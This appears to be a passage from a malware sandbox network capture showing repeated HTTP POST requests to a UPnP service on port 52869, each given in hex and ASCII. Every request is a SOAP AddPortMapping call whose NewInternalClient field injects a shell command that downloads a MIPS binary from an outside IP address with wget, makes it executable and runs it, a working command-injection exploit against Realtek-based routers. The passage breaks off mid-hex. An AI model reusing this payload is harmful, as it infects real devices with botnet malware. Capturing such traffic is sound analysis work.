                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:28:27.704286098 CET959OUTPOST /wanipcn.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>


                                                      Session IDSource IPSource PortDestination IPDestination Port
                                                      42192.168.2.154387445.33.249.20952869
                                                      TimestampBytes transferredDirectionData
                                                      Mar 13, 2024 16:27:02.951041937 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:27:03.834630966 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:27:04.858596087 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:27:06.874530077 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:27:10.906474113 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:27:19.098237991 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 